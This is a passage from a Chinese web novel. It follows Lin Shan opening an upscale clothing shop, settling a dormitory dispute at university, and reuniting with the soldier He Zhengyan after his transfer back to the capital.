产品方面的事情决策好之后，就要开始准备经营层面的东西了。 这个店是她们开启服装事业的头一炮，必须打响，所以目前只能林珊带着林红和赵桂花亲力亲为，同时招聘一些店长和店员进行培训。 培训章程要写，员工制度要写，一大堆细节的事情要处理，娘仨每天忙得连歇脚的功夫都没有。 贺正岩之前在大年三十的时候，给林珊打过电话，那会儿她刚准备关门回家，还挺庆幸他打来的时机挺好。 电话里贺正岩除了祝她们新年快乐之外，还透露出他即将调回京市的消息。 林珊原本还不确定这是不是好事，毕竟有些人宁愿在外面当一方大员，也不愿意进京当差，不过从他的声音中听出几分雀跃后，林珊就笑着恭喜了他。 贺正岩说他二月底回京，还把新单位的位置说得很详细，那意思很明显，就是以后大家都在京市，可要多联系啊。 林珊笑着应完，把开服装店的进展告诉他了。 贺正岩认真听完，开始夸她：“我还没见过这种店，不过光听你这么说，就觉得一定能吸引很多人来。你们这个服装店要是能开到京市，肯定会更成功。” 林珊笑道：“我确实有去京市开店的想法，但是在没攒够资本之前，还是现在安河开比较稳妥。” 贺正岩听起来很开心，又开始夸她：“你做事看着很大胆，但其实都是经过谨慎思考的，这点很厉害。” 林珊受不了他一直这么夸自己，把话题引回他身上之后，两人又聊了几句家常便挂断了电话，毕竟谁都煲不起长 时间的电话粥。 至于要送给他的随身听，她没提，反正他要回京，到时候直接当面给他就行。 大年初六包子铺开业之后，林珊就请所有店长们，把服装店的招工启事贴在了门口。自家的流量不用白不用，一边招工，还要一边向食客宣传“红珊服装店”如何高档，如何厉害。 由于包子铺的待遇是出名得好，很多本来就想来林珊家干活的姑娘们一看她家要开服装店，立刻蜂拥而至。 林珊和林红忙活了好几天，才从那么多的应聘者中筛选出了四位售货员和一位店长。 店长名叫杨艳，她是通过城东包子铺的店长、王军的表姐徐娟找过来的。三十岁的年纪，利索能干，之前在服装厂当车间组长。 杨艳在服装厂的工资不算高，活还累，虽然是正经工人，但是看着徐娟在林家干得风生水起，年底还开了那么多钱，她就动了心思。 她全家人家倒是挺支持的，要是能面试上，她去厂里办个病退，还能把工位传给自家人，这样钱也能挣，工位也不会丢。 于是杨艳就决定来试试。如果说之前她心里还稍微有那么一丝犹豫，再见到林珊之后，就彻底坚定了想在服装店干的决心。 这么小的年纪就能搞这么大个公司，又是省状元考上了清大！现在还要开个这么大的服装店，全安河也找不出比她还有本事的姑娘，跟着她干准没错！ 杨艳略带忐忑的面完试，回家等了三天信儿，就在她以为彻底没希望的时候，徐娟笑呵呵地通知她，让她第二天去公司培训。杨艳当时激动地都蹦起来了，比当初进服装厂的时候还开心。 其他四个售货员，林珊倒是没有遵循后世精品店那种，只选漂亮的身材好的标准。她选人首先是品德和性格，外貌上五官端正就可以了。有时候整个店过于漂亮、过于精致，反而会给顾客一种不敢踏进来的感觉。 尤其现在全国人民都还没有富起来，大家多半都是泥腿子出身，全部按照精品店来弄会过犹不及。 培训员工的工作由林珊亲自进行，流程和规范她解释得非常清楚，赏罚制度也极其分明，五位女同志不到一个礼拜就完成了岗前培训。 搞定员工后，只要等着装修和木工收尾，基本就准备齐全了。 木工师傅提前在初七交货，林珊验收了一遍没问题之后，师傅又给全部的货架、桌椅和柜台刷上了清漆。 林珊看着这满院子的原木家具，想象它们放在店里的场景，不错，非常有质感。 三天后徐大爷那也收尾了，从橱窗到影壁墙，做工都非常精细，灯光也做得很出色，整体得装修效果非常好，林珊所有的要求都得到了满足。 痛快结掉尾款后，林珊一家开始大扫除，搬家具，摆设衣服。一直忙到正月十三，才基本整理妥当。 林珊定制的大招牌也来了，这次的招牌不像大肉包是写上去的，这回她让店家把“红珊服装店”和品牌图标都做成了立体的元素，然后一个一个镶嵌在门匾上面。 另外她还做了个竖着的灯箱，上面同样贴着自家店名和品牌图标。 招牌一挂，展示模特往橱窗里一摆，还没开张就吸引了不少路过的群过来围观。有那好奇地直接趴在窗户上往里瞧，嘴脸还不停地惊叹，真漂亮！比百货大楼都漂亮！ 林珊自然不会错过这么好的宣传机会，立刻宣告了自家正月十六开张的消息。届时进店买衣服的顾客，免费赠送丝巾一条。 林珊在服装内除了设置展示架区，展示柜区，和模特展示区外，还在柱子和空白墙面贴上了镜片。一是方便顾客查看，二来也能扩大空间，起个装饰的作用。 赵桂花还说了第三个好处，“我往这一站，一眼就能看见谁偷衣服！” 林珊笑了，她估计自家的店除了刚开业或者过年的时候，会有很多人外，其他的时候应该都不会。毕竟是高档服装店，一件衣服定那么贵，稍微便宜点的春装也要普通工人将近两个月的工资，不可能像包子铺似的天天排队。 再说了，为了保证顾客在店内的体验，她会采取限流的方式，分批次放顾客入内。四名售货员加一名店长，还有林珊娘仨，完全能应付得过来。 店内员工所有人统一盘头，身穿林珊在粤城买的，套在毛衣外面的浅紫色西装样式的单褂。由于目前是冬天，当时也没能拿到特别多的货，只能暂时这么穿。等下次再去粤城的时候，她一定要好好给员工们挑一下工作服。 正月十六一到，林家人齐上阵，鞭炮噼里啪啦响彻整条街，“红珊服装店”正式开业。 王军这回没法儿带弟兄们去捧场了，不过他还是把消息传了出去，男同志穿不上，家里总有家属吧。王大娘把街道的老姐妹，和她们家的儿媳妇闺女们都带来了。捧捧场，看看稀罕，要是有相中的衣服，还能念在关系的份上给便宜一些，多美的事儿啊。 郭有财也带着老伴儿过来捧场了，要不是郭广发一家粤城回去得早，一准儿也回来捧场。过年期间装修的时候，他们就没少过来。 郭广发还忍不住对老爹说：“这小丫头不但胆子大，脑子更是好使，这服装店一定大赚。” 郭有财深有同感，看看这气派的门脸，这大玻璃窗，简直跟他在港城见过的一模一样。不，林珊这大玻璃窗里面，摆得比那边还好！ 模特从头到脚都穿得特别洋气，衣服一看就非常高档，还带着皮手套，脚上还有高跟鞋，肩上又背着皮包。这身打扮，比把港城那些明星还打眼，别说姑娘们看了喜欢，就是他一个糟老头子都觉得好看。 黑绒布台面上还摆着一双皮鞋和皮包，另一边是个挺别致的石雕，应该是装饰用的，整体放在一块儿就是说不出来的合适。 这样的店不把安河百货公司的高档服装业务干趴下，他脚趾都不信。 第90章 第90章 超级火爆 果然, 不出一会儿功夫，小姑娘小媳妇儿们就已经成群结伴地过来买衣服了。 郭有财见林珊还搞了个排队分批放人进去的规矩，顿时心想这主意秒啊。分拨儿服务, 厉害。再进店一看，售货员各个笑脸迎人, 热情周到介绍着衣服，为客人服务着, 他忍不住又点了点头。 衣服是真不便宜，但质量和款式确实独一份。他看见几个小姑娘虽然嫌贵, 但最后还是咬牙买了。赠送的丝巾, 他也看了一眼，质量也很不错, 跟他儿媳妇送给老伴儿的那些没啥区别。 再凑过去一听售货员跟一位顾客的谈话, 发现这丫头还搞了是个什么会员。大致的意思是买的越多, 享受到的服务就越多，有好衣服都先仅着会员, 有好礼品也会先送会员。 郭有财观察到这会儿, 已经很想把林珊抓来, 疯狂鼓掌表扬她了！脑袋是真灵啊，点子看着稀奇古怪，但是细想下来各个都有秒处。 包括她开那么多包子铺的事儿，郭有财也是后来看见她搞“加盟”，才明白这丫头想赚的不只是顾客的钱, 她还想挣供货的钱。 唉, 长江后浪推前浪，看来他是真老了啊。他家那几个后辈，要是能有林珊一半的本事, 他做梦都能笑醒。 服装店经过限流之后，排队的人还是很多，虽然有一些顾客看了一圈之后嫌贵就走了，但更多的是咬着牙买下了她们试了又试的那件衣服。也有几位顾客买了 好几件，还有一位上来就要模特那一身儿。 林珊要求店内的员工对所有顾客一视同仁，不管最终是不是购买了衣服，都要服务周到，尊重每一个踏进店里的人。 正月十六放假，逛大街的人非常多。见到“红珊服装店”门口都是些穿着漂亮的女同志在排队，大家都好奇得围了过来。有那爱瞧热闹的上前一探，瞬间惊掉大牙，老天爷啊，这窗户里的衣服真漂亮！再一问走出来的人什么价格，哎呦呦不得了了！一件褂子就够买台缝纫机咯！ 啧啧啧，赶紧走赶紧走，回去还要宣扬得到处都是，百货公司门口有家服装店，衣服是好看，但是价格贵得要吃人咯！ 也有那不差钱，立刻就想进去看看，生生排了半个小时的队到里面一瞧，妈呀，怎么哪一件都想买啊。于是在售货员的鼓励下上身一试，心想完了，必须买！ 虽然贵，但是人家衣服的档次确实高啊！穿上显得特别精神洋气！ “红珊服装店”开业第一天，就在百货大楼这一片掀起了一阵旋风，这股风还很快蔓延到了其他几个区。原本林珊还想着找找报社的王学斌编辑，给写点儿文章宣传一下，结果服装店的红火程度远超她的预期，整整一个礼拜，店内每天都需要限流。 赵桂花高兴坏了，搂着两闺女夸个没完。包子铺虽然也挣钱，但是完全不能跟服装店比啊。她夜里算账的时候，恨不得把包子铺都改成服装店。 生意好，意味着库存越来越少，林珊赶紧打电话给陈炳坤补了一批货，请对方邮递过来。钱她是直接汇款过去的，预付一半，另一半等货来了再付。 毕竟双方的互信还不够，这次金额不算多的补货，也算是彼此之间的一次考验吧。 正常来说粤城寄货到安河，差不多需要半个月的时间，但是陈炳坤认识搞运输的人，所以林珊只等了一个礼拜就收到了补货。 款式正确，质量还是那个质量，数量也完全无误，林珊满意极了，利索地汇掉尾款，并打电话感谢了陈炳坤。 第一次互信建立，以后金额不大的衣服可以用这种方式跟陈炳坤补货，不过还是要在粤城找个自己人才行，这样换季的时候她亲自去进货，剩下补货什么的，可以交给自己人督办。 服装店的生意每天都很好，一切运营也逐渐步入正规，林珊翻着台历，发现开学的时间马上到了。 赵桂花和林红自然舍不得，家里的大黄也整天围在她身边团团转，林珊把包子铺和服装店的生意安排妥当后，踏上了回京的火车。 清大2月14号开学，开课之前第一件事就是公布上学期的考试成绩。这年头没有网络，学生没办法在假期知道自己的成绩，只能等开学之后，查看各系贴在公告栏的成绩表。 林珊看见自己的名字排在第一位的时候，并没有特别的情绪，只想着这下请假的时候，应该比较容易张嘴了。 张丽丽则完全接受不了自己只排在第四名！她前面有三个人不算，林珊居然还排在第一！这让她又气又震惊，同时也有点明白爸妈经常说的那句“人外有人天外有天”了。 林珊对她有威胁她一直都知道，没想到就连平时看不上的两个闷疙瘩同学都比自己考得好，这实在是太伤自尊了。 张丽丽情绪低落到了极点，一进宿舍里看见那三人还在那儿嘻嘻哈哈地试衣服，她气就更不打一处来了，上来就是一顿猛轰：“你们能不能安静一点儿，我还要学习呢！这里是宿舍，不是农村的大集市！注意文明素质！几件破衣服而已，你们至于这么激动吗？真没见过世面！” 陈小娟瞬间暴怒，张嘴就要回呛，林珊一把拉住她，冲她和脸色铁青的徐青摇头。 林珊知道张丽丽为什么心情不好，但这不是她随便冲大家发脾气的理由，这会儿是下午四点多钟，她们几个的声音也一点都多大，对方纯属没事儿找事儿。 她不让陈小娟发火是因为遇事要说清楚，而不是吵清楚，不然情绪上头怒骂起来，老师肯定各打五十大板，而且还极大可能会因为张丽丽家有门儿，罚她们罚得更狠。 林珊按住陈小娟和徐青后，转身看向张丽丽，一字一句的告诉她：“我们几个试衣服的动静，还没有你这几句话的声音大，该注意文明素质的是你。吼叫不能解决问题，希望你以后能学会好好说话。” “我不讲文明？！我没好好说话？！”张丽丽简直不敢相信自己听见了什么，她气得面红耳赤，噔噔噔迈步到林珊面前，仰头怒瞪。 林珊俯视着张丽丽，情绪稳定，声音柔和：“你出去的时候从来不关严门、不锁门，却要求我们所有人只能错开一条缝进出，因为你怕风。你的衣服鞋子随身物品到处乱扔，时不时霸占我们所有人的桌面，却要求我们放脸盆的时候不能过你画的线。你吃过的东西从来不及时收拾，非要放臭才肯拿去冲洗，却要求我们不能在宿舍吃东西，因为你怕有味儿。你从来不去打水，却总理直气壮地提出用我们的热水。你从来不打扫宿舍卫生，却总嫌弃我们打扫的时候有灰……你还有诸多行径，我就不一一赘述了。你的公主脾气，请留在家对你爸妈耍，这里是清大，不是你家，我们都是清大的学生，不是你家的下人。请你把浑身的资产阶级气息，收一收，这是社会主义的校园。” 张丽丽被说得一阵懵圈，完全没意识到自己在她们眼里有这么多毛病，反应过来之后，她恼羞成怒：“你胡说八道什么！我怎么了？你不要含血喷人！” 林珊懒得跟她掰扯这个，直接下最后通牒：“如果你再胡搅蛮缠，再不改正你所有的毛病，我们会联名要求你搬出411。” 张丽丽瞳孔地震，不敢相信她竟然敢把自己逐出宿舍，再一看后面那俩还敢点头，她气得血压飙升，头晕眼花：“你你你你、你们实在太过分了！太过分了！林珊你真得太坏了！” 林珊不想跟她吵这种你坏我不坏的无聊戏码，全当没听见。 张丽丽却愤怒和委屈上头，这辈子从来没受过这种气，怒斥了好几遍三人多么坏之后，飞奔去找老师告状了。 林珊不怕她闹大，相反闹得越大反而越好处理。 果然，很快不仅宿管老师来了，其他寝室爱看热闹的也来了，林珊和徐青陈小娟把张丽丽的种种行径一说，是非曲直自然一清二楚。 即使收了好处要特殊照顾张丽丽的宿管，也不好意再说什么，只好给张丽丽换宿舍。 张丽丽没想到闹了半天，竟然还是自己被赶出去，她哭得更凶了，直接背起书包跑回家找爸妈告状去。 张爸张妈对自己闺女非常了解，第二天来学校把情况了解了一遍后，对林珊三人道了道歉，硬搬来一箱苹果和橘子当赔礼。然后把张丽丽的铺盖卷和杂七杂八的东西一收拾，搬到了有空床的423宿舍。 至于她跟423能不能相处好，就不是林珊和徐青陈小娟操心的事儿了。 四人变三人，411宿舍的气氛一下子就美好了起来。大家各自从家乡都带了土特产回来，林珊还从自家服装店拿了两家毛衣送给她们，爱美是女孩子的天性，三人开心得又是搭配衣服又是分享特产的。 张丽丽心不甘情不愿地换了寝室，虽然新宿舍的人看着都还行，但是这根本不能解她的心头恨。林珊抢走她的第一名就够了，现在居然还敢撵她出来！ 张丽丽遭受到了这辈子最大的屈辱，早把要比优秀比先进的事儿忘了，暗暗发誓一定要让林珊狠狠吃到苦头才行。 第91章 第91章 正式回京 二月底的京市还是挺冷的。 贺正岩对这种一阵风就能把人头皮吹麻的冷劲儿, 可太熟悉了。虽然在外当兵的这八年，他也回过几次家，但重新调回来的意义毕竟不一样。 小毛葫芦的时候出去当兵, 到现在不敢说光荣返京，但至少这些年的表现, 没有给老爷子丢脸。 看着 从不远处走来的两个发小——顾康和卢学军，贺正岩笑了, 朝他们挥挥手。 两人立刻热情地飞奔过来，三人团抱在一块儿, 你拍拍我, 我拍拍你，一瞬间像是回到了小时候。 顾康和卢学军都是他在大院儿的兄弟, 顾康在军事学院做研究, 卢学军前两年也刚从其他军区调回来, 三人都还在为建设我军而奋斗，其他大院儿同期的那批人, 有很多已经转业了, 调到各行各业各部门的都有, 下海的出国的也不是极个别现象。 只有他们三个吃了秤砣铁了心似的要继续留在部队，为了那份信念，更为了伟大的强军梦。 “走走走！今天不醉不归！” “你不是说很久没吃涮羊肉了么？咱今天就让你撑到眼珠子疼！走！” 贺正岩手里的包裹和背上的背囊，被俩人一人一个接过去，胳膊紧接着也被架住, 直接连拉带架住地往门口拖。贺正岩笑着让这俩慢点儿, 他跑不了。 他这次回来，并没有刻意通知父亲那边。一是刚回来事儿多需要跑来跑去，彼此又都特别忙, 没必要因为这个耽误正经事。二来，主要也是因为不想回那边去住。 贺正岩不喜欢那种当外人的感觉，对他来说部队大院儿才是家，这里有爷爷跟他生活的点点滴滴，周围也都是他熟悉的人，熟悉的环境。在他爸那儿，他就是个客人，会让继母和弟弟不自在，虽然面上很亲近，但他能感觉得出他们时刻都绷着根弦，一直都在非常刻意地招待他。何必呢，贺正岩不想让自己不痛快，也不想去折磨别人。 三人说是不醉不归，但其实都没真敞开喝，净顾着叙旧聊天儿了。天冷的时候，没有什么比涮羊肉配小酒，再加上老友重逢，更暖人身心的活动了。 三人从我军建设，聊到童年趣事，又从儿时同伴，聊到了大院儿那批人长大后的命运。 “我当初也没想过我会跟小慧好啊，这不，我儿子都快两岁了。”卢学军呵呵笑，“所以说啊，这人啊，话不能说满，事儿不能做绝。” 贺正岩笑了，想起卢学军小时候没事儿就揍未来大舅子的“光荣事迹”，觉得这话用他自己身上最合适。 顾康乐道：“我一直觉得咱仨里头，最先结婚的应该是正岩，没想到我俩孩子都有了，你还跟这儿单着呢。” 贺正岩叹气，在这方面自己确实落后一了点儿，不过没关系，他现在已经有想处对象的人了，而且根据他的初步判断，林珊对他应该挺有好感的，虽然可能这里面完全不掺杂男女之间的东西，但是好感就是好感。 好的开始，是成功的一半儿。相信经过他的努力之后，俩人一定可以建立深厚的感情。况且现在他也回京市了，终于不用只再靠寄包裹来维系感情了，要是周末放假的时候，能去学校找找她，带她出去走走，相信一定会事半功倍。 顾康和卢学军这会儿有点酒上头，没看见贺正岩这一脸充满了干劲儿的表情，还在埋头数落贺正岩不解风情、眼光高，这些年不知道有多少女孩子为他留下过眼泪，真是无情啊。 兄弟三人从傍晚吃到了饭店关门，贺正岩大半夜回到家，发现屋内已经全都打扫过了，不用想也知道是那哥俩安排的。他这次回来住的是从小跟爷爷奶奶一起生活的家，虽然平时也有人会来做基本的维护，但是远没有到能把床铺都给他铺好的地步，贺正岩感激不尽。这才叫一辈子的兄弟。 他感慨了一会儿友情，强撑着洗漱了一把，跟着倒头就睡了。 第二天回部队报完到，办完一切手续后，贺正岩这才给贺振华去了个电话。毕竟是亲爹，抛开家庭内部这些索事，在为国为民这方面，他对自己的父亲还是非常敬重的。 周秘书一听电话是贺正岩打来的，立刻就小跑着进去汇报情况。 贺振华知道贺正岩这两天要从汉州回京，之前他还特地叮嘱过他回来前打个电话，这样他好派车去接人，然后直接把他拐回家去住。房间都收拾好了，只等他就位。 结果一接电话，这小子居然来了句他都安顿好了。 这要换成贺启明，贺振华直接就开骂了，但偏偏是正岩，他才张不开嘴，只沉默了一会儿，慈祥地说：“那晚上回家吃饭，我让车去接你。” 贺正岩知道吃饭是避免不了的，“我自己去就行了，几点到您那儿合适？” 贺振华有些被儿子的客气劲儿伤到了，压抑住心酸，佯装没事地说：“几点都行，这是你家，想什么时候回就什么时候回。” 贺正岩“嗯”了一声，靠好六点到之后，结束了通话。 贺振华把听筒放回去，靠在椅子上反思自己的前半生。一旁的周秘书则在心里暗暗叹气，能让领导这么伤神的，这世界上估计也就只有正岩了。清官难断家务事，他不敢评判是非对错，只希望领导能够家庭和睦，身心舒畅。 张秀英接到贺振华的电话之后，立刻让人开始准备晚饭的事儿。甭管她心里怎么想，面子上的功夫一定会做得非常足。她了解贺正岩在贺振华心目中的地位，绝对不会做些无聊的蠢事。 而且平心而论正岩这孩子也很懂事，对她很有礼貌，逢年过节礼数也都特别周到，最关键的是没有半点想跟他们亲近的想法。这点最让张秀英满意，她虽然是后妈，但不想时时刻刻面前杵个人提醒自己。 家里做好了一桌子菜之后，张秀英把贺启明也从学校叫了回来，美其名曰是一家人团聚，实际是不想看见贺振华和贺正岩父子情深。有她亲儿子在，张秀英会觉得他们一家三口才是一家人，其余的都是外人。 下午六点，贺正岩准时抵达贺振华的住处。车才刚进大门，他就远远地看见那一家三口站在门口迎接自己。他隔着玻璃冲他们挥了下手，熄了火，然后从副驾驶上提起准备好的汉州特产下了车。 “哥！”贺启明率先跑过来，一边接过贺正岩提的箱子，一边笑着问：“有我爱吃的腊肉吗？” “有。”贺正岩笑了，拍了拍他的肩膀，“壮了点儿。” 贺启明立刻挺直腰板，“有成果吧，爸让我不能光顾着学习，得强身健体。怎么样哥？我感觉用不了多久，我这身板就能赶上你了。 ” 贺正岩正要鼓励他两句，就听贺振华笑道：“行了臭小子，自夸没个够，赶紧进屋。” “我这叫阐述事实，合理推测。”贺启明一边小声反驳，一边搬着箱子往里走。 张秀英心里不开心贺振华总批评教育儿子，却也不好在面上露出来，她笑得像个慈祥的母亲，亲切地拉着贺正岩往里走，“下回直接来，哪有上父母家还带礼的。路上累不累？” “不累。这些都是你们爱吃的特产，毕竟以后轻易也不会去汉州了。”贺正岩回答完她，冲贺振华喊了声“爸”。 “诶。”贺振华应了一声，满脸欣慰地看着儿子，忍不住拍了拍他的背。当年送这小子去当兵的时候，背比现在薄，脸比现在嫩，人也比现在矮不少。那时候老父亲还在，这小子也还像个孩子，转眼已经八年多了，真快。 张秀英准备了八菜一汤，这在贺家可是相当高的规格了。贺振华不允许家里人铺张浪费，所以家里的伙食一直都是按照普通标准来的，平时张秀英跟贺启明想改善生活，也都是背着他去外头吃的。 今天这顿饭完全就是年夜饭的标准，贺正岩看见了自己爱吃的狮子头和香煎带鱼，对贺振华和张秀英表达了一番感谢。 贺振华不喜欢儿子跟他客气，直接把人拉倒餐桌上，笑着说：“你难得回家吃饭，以后要是天天回来吃，家里也就不搞这么大阵仗了。真不考虑回来住？” 贺正岩解释道：“您住得太远了，住部队比较方便，以后我会多回来看您跟英姨的。” 贺振华虽然想让他回家，但也明白这不现实，毕竟儿大不由娘，更何况他这样一个没有尽过多少责任的爹，实在不好要求什么。于是贺正岩咽下自己那些心酸，点点头，夹了块带鱼放贺正岩碗里，“好了，开饭。” 饭桌上，一家人从贺正岩回京后的打算，一路聊到了贺老爷子当年打仗时候的丰功伟绩。贺正岩说了部队目前对他的安排，以及自己对改革的看法。贺振华大为赞赏。 贺启明也表达了一些意见，内容可圈可点，贺振华满意地点点头：“不错，启明的思想进步不少。可见这段时间确实下功夫了。” 贺启明高兴坏了，“那是自然了，爸，您说过的话，我可全都在心里记着的！相信只要我继续努力，将来一定能在司法界闯出一片天地来。而且，虽然我目前在事业这方面不如我哥厉害，但是有一点我比他强多了。” 贺振华：“哪点？” 贺启明嘿嘿一笑：“我有对象了，他可还是光棍一条呢。” 他这话把所有人都逗笑了。 贺振华难得同意贺启明的话，直接问贺正岩：“那么这位光棍同志，打算什么时候解决个人问题啊？” 第92章 第92章 见个面吧 贺正岩想了想, “争取今年吧。” 不过话音未落，他又补了一句：“明年也行。” 贺振华笑了，这啥话？跟着他立刻明白过来, “孩子，你这是有相中的姑娘了？” “是。”贺正岩大方承认。 贺振华开心坏了, 瞬间笑得像个无比和蔼和亲的大菩萨，跟平时严肃认真的模样完全不同, 看得贺启明都忍不住腹诽：至于吗，瞧瞧这乐的。我说有对象的时候, 可没见您这么开心, 我哥这才只有个目标，就开心成这样！ “好好好, 那你抓紧努力！只要真诚, 迟早能打动人家姑娘的心。”贺振华边说, 边笑着给贺正岩夹菜，心里已经开始畅想儿子成家之后的景象了。 张秀英好奇道：“是咱京市的姑娘吗？” 贺正岩：“不是, 她在这儿上大学。” “哎呦, 那好啊, 能从外面考过来，说明小姑娘很优秀。”张秀英这句话倒是说得真心实意，刚才听到贺正岩有目标的时候，她就怕他相中的是老爷子那边的某个姑娘，或者他亲妈那边的姑娘, 因为无论哪一方, 对方的身世肯定低不到哪儿去。 张秀英本人虽然不怎么在乎未来儿媳妇的出身，但是也不想看见自己儿子被对方压一头，找个外地姑娘最好。 贺启明在心里怨完他爹之后, 也挺好奇，“哥，什么样儿的姑娘能让你这么不自信啊，今年还搞不定？要不要让弟弟帮你出出主意？她哪个学校的？” 贺正岩笑了，“她在清大，你的好意我心领了，这事儿急不来。” “清大？小姑娘很优秀啊。”贺振华颇为惊喜。 张秀英心里暗恨自己儿子又被压了一头，面上却还是附和道：“是啊，能从外地考到清大可不容易。” 贺启明倒是没有她妈心里那些小九九，一听对方是清大的，心里更好奇了，他哥一直在外地，怎么做到刚来就认识清大高材生的？ “她是我战友的妹妹。”贺正岩简单把认识林珊的过程解释了一下，三人一听是旧识，心里就都有数了。 贺启明歇了掺和的心思，却忍不住笑道：“要不说咱哥俩是亲兄弟呢，居然找得都是汉北人！” 贺正岩没想到这么巧，笑着拍了拍贺启明。 贺振华看着自己这俩儿子相处得这么融洽，心里感到非常欣慰。虽然他老是批评启明，那也是希望他能更加优秀。跟同期老同志们的子女比起来，他这俩儿子简直不要太让人眼馋了。 “吃菜吃菜。”张秀英提醒这爷仨别光顾着聊，菜都快凉了。而且她也不想再听见贺正岩未来对象的事儿了，找的都是一个省的，人家还比林兰考得好，原本想说都找外地的就不会被压一头了，结果又来了这么一出。 贺正岩吃完这漫长的一顿饭后，回到家里已经九点多了。洗漱完躺在床上，盘算着明天还有一天休息时间，一定要去清大看看林珊去。 于是次日林珊刚上完课没多久，就被楼下大娘喊去接电话了。 “你调回来了？”一听是贺正岩，她非常惊喜。 “是，刚安顿好。”贺正岩摸着脑袋，笑着回答，“那什么……你今天有空吗？我有点儿东西想给你。” “我下午没课，正好我也有东西要给你。” “给我？”贺正岩又惊又喜，立刻问道：“那、那什么，你下午什么时候能见？我几点去找你合适？” 林珊笑了，“我两点之后都有空。” 贺正岩也开始傻笑，“那我两点到，还是在你宿舍楼下见面，行吗？” “好，待会儿见。” “待会儿见。” 林珊听着话筒那头传来的嘟嘟音，忍不住乐出声来，之前每次通电话，贺正岩都坚持让自己先挂，这回倒是挺干脆的。她脑子里不自觉地就浮现出，他着急忙慌往这边赶的场景。 贺正岩确实是飞速赶来的，一路可谓是心潮澎湃，边开车还边琢磨，她到底要给自己什么东西呢？安河的特产？包子熟肉？ 不到一个小时，贺正岩就把车开进了清大，找了个位置停好，一看表才一点半，他充满期待地等了二十分钟后，搬起箱子来到宿舍楼下。 下午两点左右的宿舍楼，意料之外的人还挺多，贺正岩站的位置其实有点儿偏，但还是吸引了不少学生的注意，都直呼好英俊。 有两个胆子大的姑娘，还走过来打招呼，可惜贺正岩这人不解风情，不笑的时候看起来特别严肃，一板一眼地回答她们：“在等人。” 他正经威严的气势，把这两个想跟他认识一下的姑娘，给震得像是回到了高中时期被老师叫去谈话时的模样，只敢匆匆客气两句话，就一溜烟跑了。 林珊恰巧看到了这一幕，有点想笑。 “林珊！”贺正岩则第一时间冲她招手，兴奋地搬起地上的箱子大步走来。 两人站定，四目相对。 林珊笑着对他说：“快把箱子放下啊。你来多久了？” “没多久。”贺正岩放下东西，看着林珊笑：“给你带了点儿吃的。”说着，他蹲下去打开箱子，露出里头的东西，有罐头奶粉高乐高，有汉州的糕点，还有不少苹果和橘子。 “谢谢贺大哥，这也太多了。”比上回他寄来的那箱东西还要多。 贺正岩：“没事儿，你慢慢吃。” 林珊看着他弯腰整理箱子的模样，心里暖呼呼的，没再说什么客气的话，从包里掏出了随身听，“这个给你。” “这是……随身听吧？”贺正岩惊讶极了，没想到林珊会送他这个。 “你不是正在学英语吗？有这个方便一点儿。我还给你准备了几盘磁带，不是零基础的，但也不是特别深奥，应该挺适合你这个阶段用的。你先听听看，不行我再帮你找。”林珊说着，又把磁带一股脑地掏出来给他。 贺正岩接过随身听和磁带，心里砰砰乱跳，整个人高兴得不知道该说什么好，他没想到自己无意间说的话，她不但都记住了，还悄悄买了这么贵重的东西来给他学习用，而且连磁带都准备好了！ 贺正岩不是没被人呵护过，也不是没被人这么用心对待过，只是这对象变成了林珊，心里就感觉特别不一样，他有股冲动想握住她的手好好感谢一下，但也知道不太合适，于是只能笑得像个傻子似的，对她说：“谢谢谢谢，我会好好学的。以后有不会的，我就过来请教请教你，行吗？” 林珊：“当然行啊。” 贺正岩拿着随身听细细查看，林珊教他怎么用。功能挺多，用法还挺简单，贺正岩一听就明白了，他再次感谢了林珊一遍后，突然问她：“你这附近都逛过了吗？” 早逛透了，不过猜出了他的心思，林珊心虚地撒了个小谎：“没、没怎么逛。” 贺正 岩立刻高兴道：“那我带你出去看看吧，这片儿我还挺熟的。” 林珊点点头，问他箱子怎么办。 贺正岩弯腰搬起来，指向不远处的吉普车说：“走吧，先放那上头。” 这个季节虽然还是挺凉的，但今天的天气实在是好得不行，蓝天白云，配上大太阳，风又特别小，非常适合在户外走动一下。 于是贺正岩把林珊载出学校之后，两人把车停在路边就开始步行。 老实说这年代的城市规划还没有后世那些绿植和景观可看，这个时节的京市也没到万物复苏的时候，所以校外的风景甚至还没有校内好看，不过贺正岩实在不习惯在校园里走动，总觉得自己像个不怀好意的长辈，对人家学校的好学生打起了主意。 还是在外头自由一些，至少他们看起来就是两个普通的男女青年，不会引得别人驻足观看。 “你以前经常过来这边吗？”林珊记得他刚才说过对这片儿很熟。 贺正岩笑道：“哪儿都熟，以前总觉得大院不够大，老想着出去蹦跶，今天城东，明天城西，后天又跑去郊区玩儿了。” 林珊以前看年代剧的时候，见过那些大院子弟们骑着自行车到处乱晃的景象，脑子里不由自主地套上了贺正岩的脸，“你是打架去了吧？” 贺正岩一怔，随即乐了，带着点惭愧地说：“确实没少打。”男孩儿青春年少的时候喜欢用武力来解决问题，尤其是部队长大的孩子更是崇武。 林珊：“赢了吗？” 贺正岩实事求是，“赢的时候多。有的就算当时没赢，也得再找时间打回来，不然咽不下那口气。”他自觉现在的脾气比小时候好多了，虽然偶尔也会犯倔，但更多的时候都能做到冷静。 林珊笑了，不知道他怎么从一个爱到处抓虫、到处打架的少年变成了今天这副沉稳可靠的样子。看来部队真得很锻炼人。 “你十八岁就当兵了？” “嗯。” “打过仗吧？”林珊记得79年的时候边境还是有过不少冲突的。 “打过，我在西南边境待了三年才调到汉北。” 林珊算了一下，正好是打得最凶的那几年，她自己最多只看过战争电影，没办法想象那种残酷，不过单看他身上那些疤，就知道一定没少吃苦。 “辛苦了，没有你们保家卫国，我们老百姓就不可能有安稳的日子。” 贺正岩看她眼睛亮晶晶的，满脸都是崇拜和敬意，心里很开心，不过他还是觉得：“这是每个军人应尽的职责。” 林珊很认真地说：“职责是职责，感谢是感谢，你们就是当之无愧的最可爱的人。” 贺正岩心里热乎乎的，这话任何一个当兵的听了都会觉得开心，更何况是他。看着林珊笑靥如花，他突然脑子一热，不知怎么的就来了句：“你准备什么时候找对象？” 第93章 第93章 我怎么样 啊？ 林珊愣住, 正说着当兵的事儿，怎么忽然跳到这个上头了。 贺正岩话一秃噜出去，就意识到自己干了什么, 不但耳朵根爆红，汗都快下来了, 他赶紧往回找补：“那个，我是说, 你未来在、在生活上有什么打算……” 林珊收回视线，侧头忍着笑, 等表情控制好后, 才扭过来对他说：“没有具体想过，我应该还是会以事业为主。至于结婚生子这些, 就顺其自然吧。有就有, 没有也不强求。” 贺正岩听明白了, 她没有主动找对象的想法，但要是有合适的, 应该也不会排斥。于是, 他假咳了一声, 